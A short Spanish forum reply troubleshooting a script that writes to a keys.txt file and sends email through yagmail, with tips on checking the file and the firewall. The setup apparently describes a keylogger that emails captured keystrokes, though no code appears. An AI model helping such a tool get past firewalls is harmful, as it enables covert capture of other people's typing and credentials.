Si sigue fallando puede que el cortafuegos este 'atrofiando' a yagmail, como dice yumigumi.

Si falla, primero revisa, el archivo keys.txt del escritorio, si se esta escribiendo correctamente. Después si sale un error, puedes subir una captura a https://es.imgbb.com/ (https://es.imgbb.com/) y despues al foro, para ver de que se trata.

Y si no sale un error, el keys.txt se escribe correctamente y las ubicaciones del archivo y el correo están bien, entonces no queda otra que revisar el cortafuegos.

Mucha suerte!